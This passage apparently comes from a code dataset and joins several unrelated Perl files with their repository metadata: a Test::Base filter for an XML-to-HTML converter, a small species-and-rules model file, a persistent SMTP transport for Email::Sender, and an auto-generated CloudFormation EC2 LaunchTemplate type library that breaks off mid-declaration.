caf867c804e7e2cf96ab8732808fcbed85be0046
[ "MIT" ]
null
null
null
t/TestXML2HTML.pm
renatb/ITS2.0-WICS-converter
caf867c804e7e2cf96ab8732808fcbed85be0046
[ "MIT" ]
null
null
null
#some test::base filters for HTML conversion package t::TestXML2HTML; use Test::Base -base; 1; package t::TestXML2HTML::Filter; use Test::Base::Filter -base; use strict; use warnings; use Log::Any::Test; use Log::Any qw($log); use ITS::DOM; use ITS::WICS::XML2HTML; #convert the input XML into html and return the html string sub htmlize { my ($self, $xml) = @_; my $converter = ITS::WICS::XML2HTML->new(); my $ITS = ITS->new('xml', doc => \$xml); my $converted = ${ $converter->convert($ITS) }; $converted = $self->normalize_html($converted); # print $converted; return $converted; } #convert the input XML into html and return the html string and the log sub html_log { my ($self, $xml) = @_; $log->clear(); my $converter = ITS::WICS::XML2HTML->new(); my $ITS = ITS->new('xml', doc => \$xml); my $converted = ${ $converter->convert($ITS) }; $converted = $self->normalize_html($converted); # print $converted; return ($converted, _get_messages($log->msgs()) ); } sub _get_messages { my ($logs) = @_; my $messages = []; for(@$logs){ push @$messages, $_->{message}; } return $messages; } # given HTML string, remove spacing # this makes comparing script elements easier sub normalize_html { my ($self, $html) = @_; $html =~ s/\n\s*\n/\n/g; $html =~ s/ +/ /g; $html =~ s/^ //gm; return $html; }
26.196429
72
0.583504
73f7bdc62c215351f920fe286cd63b10db4b9d13
196
pm
Perl
shell/src/dist/examples/groupies/groupies2.pm
jfluri/sibilla
04d9d18b9d1e1dac0a04b95753e329a45cd75408
[ "Apache-2.0" ]
null
null
null
shell/src/dist/examples/groupies/groupies2.pm
jfluri/sibilla
04d9d18b9d1e1dac0a04b95753e329a45cd75408
[ "Apache-2.0" ]
null
null
null
shell/src/dist/examples/groupies/groupies2.pm
jfluri/sibilla
04d9d18b9d1e1dac0a04b95753e329a45cd75408
[ "Apache-2.0" ]
null
null
null
species B; species A; const lambda = 1.0; const NA = 10; const NB = 10; rule b_to_a { B -[ #B*lambda*%A ]-> A } rule a_to_b { A -[ #A*lambda*%B ]-> B } system balanced = A<NA>|B<NB>;
10.888889
30
0.545918
ed30df10650dbcd4ccd92489abfe2264e00585d9
1,995
pm
Perl
Mojoqq/perl/vendor/lib/Email/Sender/Transport/SMTP/Persistent.pm
ghuan/Mojo-webqq-for-windows
ad44014da4578f99aa3efad0b55f0fc3bc3af322
[ "Unlicense" ]
null
null
null
Mojoqq/perl/vendor/lib/Email/Sender/Transport/SMTP/Persistent.pm
ghuan/Mojo-webqq-for-windows
ad44014da4578f99aa3efad0b55f0fc3bc3af322
[ "Unlicense" ]
null
null
null
Mojoqq/perl/vendor/lib/Email/Sender/Transport/SMTP/Persistent.pm
ghuan/Mojo-webqq-for-windows
ad44014da4578f99aa3efad0b55f0fc3bc3af322
[ "Unlicense" ]
null
null
null
package Email::Sender::Transport::SMTP::Persistent; # ABSTRACT: an SMTP client that stays online $Email::Sender::Transport::SMTP::Persistent::VERSION = '1.300028'; use Moo; extends 'Email::Sender::Transport::SMTP'; #pod =head1 DESCRIPTION #pod #pod The stock L<Email::Sender::Transport::SMTP> reconnects each time it sends a #pod message. This transport only reconnects when the existing connection fails. #pod #pod =cut use Net::SMTP; has _cached_client => ( is => 'rw', ); sub _smtp_client { my ($self) = @_; if (my $client = $self->_cached_client) { return $client if eval { $client->reset; $client->ok; }; my $error = $@ || 'error resetting cached SMTP connection: ' . $client->message; Carp::carp($error); } my $client = $self->SUPER::_smtp_client; $self->_cached_client($client); return $client; } sub _message_complete { } #pod =method disconnect #pod #pod $transport->disconnect; #pod #pod This method sends an SMTP QUIT command and destroys the SMTP client, if on #pod exists and is connected. #pod #pod =cut sub disconnect { my ($self) = @_; return unless $self->_cached_client; $self->_cached_client->quit; $self->_cached_client(undef); } no Moo; 1; __END__ =pod =encoding UTF-8 =head1 NAME Email::Sender::Transport::SMTP::Persistent - an SMTP client that stays online =head1 VERSION version 1.300028 =head1 DESCRIPTION The stock L<Email::Sender::Transport::SMTP> reconnects each time it sends a message. This transport only reconnects when the existing connection fails. =head1 METHODS =head2 disconnect $transport->disconnect; This method sends an SMTP QUIT command and destroys the SMTP client, if on exists and is connected. =head1 AUTHOR Ricardo Signes <rjbs@cpan.org> =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2016 by Ricardo Signes. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut
19.95
81
0.717293
ed20e8654ddfad5b728790b758806e3064deb386
30,736
pm
Perl
lib/Cfn/Resource/AWS/EC2/LaunchTemplate.pm
lominorama/cfn-perl
d4aafdd58cc06fe749cd65f51ce5e08e67c30e3a
[ "Apache-2.0" ]
null
null
null
lib/Cfn/Resource/AWS/EC2/LaunchTemplate.pm
lominorama/cfn-perl
d4aafdd58cc06fe749cd65f51ce5e08e67c30e3a
[ "Apache-2.0" ]
null
null
null
lib/Cfn/Resource/AWS/EC2/LaunchTemplate.pm
lominorama/cfn-perl
d4aafdd58cc06fe749cd65f51ce5e08e67c30e3a
[ "Apache-2.0" ]
null
null
null
# AWS::EC2::LaunchTemplate generated from spec 2.25.0 use Moose::Util::TypeConstraints; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate', from 'HashRef', via { Cfn::Resource::Properties::AWS::EC2::LaunchTemplate->new( %$_ ) }; package Cfn::Resource::AWS::EC2::LaunchTemplate { use Moose; extends 'Cfn::Resource'; has Properties => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate', is => 'rw', coerce => 1); sub AttributeList { [ 'DefaultVersionNumber','LatestVersionNumber' ] } sub supported_regions { [ 'ap-northeast-1','ap-northeast-2','ap-south-1','ap-southeast-1','ap-southeast-2','ca-central-1','eu-central-1','eu-west-1','eu-west-2','eu-west-3','sa-east-1','us-east-1','us-east-2','us-west-1','us-west-2' ] } } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::SpotOptions', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::SpotOptions', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::SpotOptionsValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::SpotOptionsValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has InstanceInterruptionBehavior => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has MaxPrice => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has SpotInstanceType => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::PrivateIpAdd', as 'Cfn::Value', where { $_->isa('Cfn::Value::Array') or $_->isa('Cfn::Value::Function') }, message { "$_ is not a Cfn::Value or a Cfn::Value::Function" }; coerce 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::PrivateIpAdd', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { die 'Only accepts functions'; } }, from 'ArrayRef', via { Cfn::Value::Array->new(Value => [ map { Moose::Util::TypeConstraints::find_type_constraint('Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::PrivateIpAdd')->coerce($_) } @$_ ]); }; subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::PrivateIpAdd', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::PrivateIpAdd', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::PrivateIpAddValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::PrivateIpAddValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has Primary => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has PrivateIpAddress => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ipv6Add', as 'Cfn::Value', where { $_->isa('Cfn::Value::Array') or $_->isa('Cfn::Value::Function') }, message { "$_ is not a Cfn::Value or a Cfn::Value::Function" }; coerce 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ipv6Add', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { die 'Only accepts functions'; } }, from 'ArrayRef', via { Cfn::Value::Array->new(Value => [ map { Moose::Util::TypeConstraints::find_type_constraint('Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ipv6Add')->coerce($_) } @$_ ]); }; subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ipv6Add', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ipv6Add', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ipv6AddValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ipv6AddValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has Ipv6Address => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ebs', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ebs', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::EbsValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::EbsValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has DeleteOnTermination => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Encrypted => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Iops => (isa => 'Cfn::Value::Integer', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has KmsKeyId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has SnapshotId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has VolumeSize => (isa => 'Cfn::Value::Integer', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has VolumeType => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationTarget', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationTarget', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationTargetValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationTargetValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has CapacityReservationId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::TagSpecification', as 'Cfn::Value', where { $_->isa('Cfn::Value::Array') or $_->isa('Cfn::Value::Function') }, message { "$_ is not a Cfn::Value or a Cfn::Value::Function" }; coerce 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::TagSpecification', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { die 'Only accepts functions'; } }, from 'ArrayRef', via { Cfn::Value::Array->new(Value => [ map { Moose::Util::TypeConstraints::find_type_constraint('Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::TagSpecification')->coerce($_) } @$_ ]); }; subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::TagSpecification', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::TagSpecification', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::TagSpecificationValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::TagSpecificationValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has ResourceType => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Tags => (isa => 'ArrayOfCfn::Resource::Properties::TagType', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Placement', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Placement', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::PlacementValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::PlacementValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has Affinity => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has AvailabilityZone => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has GroupName => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has HostId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Tenancy => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::NetworkInterface', as 'Cfn::Value', where { $_->isa('Cfn::Value::Array') or $_->isa('Cfn::Value::Function') }, message { "$_ is not a Cfn::Value or a Cfn::Value::Function" }; coerce 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::NetworkInterface', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { die 'Only accepts functions'; } }, from 'ArrayRef', via { Cfn::Value::Array->new(Value => [ map { Moose::Util::TypeConstraints::find_type_constraint('Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::NetworkInterface')->coerce($_) } @$_ ]); }; subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::NetworkInterface', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::NetworkInterface', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::NetworkInterfaceValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::NetworkInterfaceValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has AssociatePublicIpAddress => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has DeleteOnTermination => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Description => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has DeviceIndex => (isa => 'Cfn::Value::Integer', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Groups => (isa => 'Cfn::Value::Array|Cfn::Value::Function|Cfn::DynamicValue', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Ipv6AddressCount => (isa => 'Cfn::Value::Integer', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Ipv6Addresses => (isa => 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ipv6Add', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has NetworkInterfaceId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has PrivateIpAddress => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has PrivateIpAddresses => (isa => 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::PrivateIpAdd', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has SecondaryPrivateIpAddressCount => (isa => 'Cfn::Value::Integer', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has SubnetId => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Monitoring', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Monitoring', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::MonitoringValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::MonitoringValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has Enabled => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::LicenseSpecification', as 'Cfn::Value', where { $_->isa('Cfn::Value::Array') or $_->isa('Cfn::Value::Function') }, message { "$_ is not a Cfn::Value or a Cfn::Value::Function" }; coerce 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::LicenseSpecification', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { die 'Only accepts functions'; } }, from 'ArrayRef', via { Cfn::Value::Array->new(Value => [ map { Moose::Util::TypeConstraints::find_type_constraint('Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LicenseSpecification')->coerce($_) } @$_ ]); }; subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LicenseSpecification', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LicenseSpecification', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LicenseSpecificationValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LicenseSpecificationValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has LicenseConfigurationArn => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateElasticInferenceAccelerator', as 'Cfn::Value', where { $_->isa('Cfn::Value::Array') or $_->isa('Cfn::Value::Function') }, message { "$_ is not a Cfn::Value or a Cfn::Value::Function" }; coerce 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateElasticInferenceAccelerator', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { die 'Only accepts functions'; } }, from 'ArrayRef', via { Cfn::Value::Array->new(Value => [ map { Moose::Util::TypeConstraints::find_type_constraint('Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateElasticInferenceAccelerator')->coerce($_) } @$_ ]); }; subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateElasticInferenceAccelerator', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateElasticInferenceAccelerator', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateElasticInferenceAcceleratorValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateElasticInferenceAcceleratorValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has Type => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::InstanceMarketOptions', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::InstanceMarketOptions', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::InstanceMarketOptionsValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::InstanceMarketOptionsValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has MarketType => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has SpotOptions => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::SpotOptions', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::IamInstanceProfile', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::IamInstanceProfile', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::IamInstanceProfileValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::IamInstanceProfileValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has Arn => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Name => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::HibernationOptions', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::HibernationOptions', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::HibernationOptionsValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::HibernationOptionsValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has Configured => (isa => 'Cfn::Value::Boolean', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::ElasticGpuSpecification', as 'Cfn::Value', where { $_->isa('Cfn::Value::Array') or $_->isa('Cfn::Value::Function') }, message { "$_ is not a Cfn::Value or a Cfn::Value::Function" }; coerce 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::ElasticGpuSpecification', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { die 'Only accepts functions'; } }, from 'ArrayRef', via { Cfn::Value::Array->new(Value => [ map { Moose::Util::TypeConstraints::find_type_constraint('Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::ElasticGpuSpecification')->coerce($_) } @$_ ]); }; subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::ElasticGpuSpecification', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::ElasticGpuSpecification', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::ElasticGpuSpecificationValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::ElasticGpuSpecificationValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has Type => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CreditSpecification', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CreditSpecification', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CreditSpecificationValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CreditSpecificationValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has CpuCredits => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CpuOptions', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CpuOptions', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CpuOptionsValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CpuOptionsValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has CoreCount => (isa => 'Cfn::Value::Integer', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has ThreadsPerCore => (isa => 'Cfn::Value::Integer', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationSpecification', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationSpecification', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationSpecificationValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationSpecificationValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has CapacityReservationPreference => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has CapacityReservationTarget => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::CapacityReservationTarget', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::BlockDeviceMapping', as 'Cfn::Value', where { $_->isa('Cfn::Value::Array') or $_->isa('Cfn::Value::Function') }, message { "$_ is not a Cfn::Value or a Cfn::Value::Function" }; coerce 'ArrayOfCfn::Resource::Properties::AWS::EC2::LaunchTemplate::BlockDeviceMapping', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { die 'Only accepts functions'; } }, from 'ArrayRef', via { Cfn::Value::Array->new(Value => [ map { Moose::Util::TypeConstraints::find_type_constraint('Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::BlockDeviceMapping')->coerce($_) } @$_ ]); }; subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::BlockDeviceMapping', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::BlockDeviceMapping', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::BlockDeviceMappingValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::BlockDeviceMappingValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has DeviceName => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has Ebs => (isa => 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::Ebs', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has NoDevice => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); has VirtualName => (isa => 'Cfn::Value::String', is => 'rw', coerce => 1, traits => [ 'CfnMutability' ], mutability => 'Mutable'); } subtype 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateData', as 'Cfn::Value'; coerce 'Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateData', from 'HashRef', via { if (my $f = Cfn::TypeLibrary::try_function($_)) { return $f } else { return Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateDataValue->new( %$_ ); } }; package Cfn::Resource::Properties::AWS::EC2::LaunchTemplate::LaunchTemplateDataValue { use Moose; use MooseX::StrictConstructor; extends 'Cfn::Value::TypedValue'; has BlockDeviceMappings => (isa => 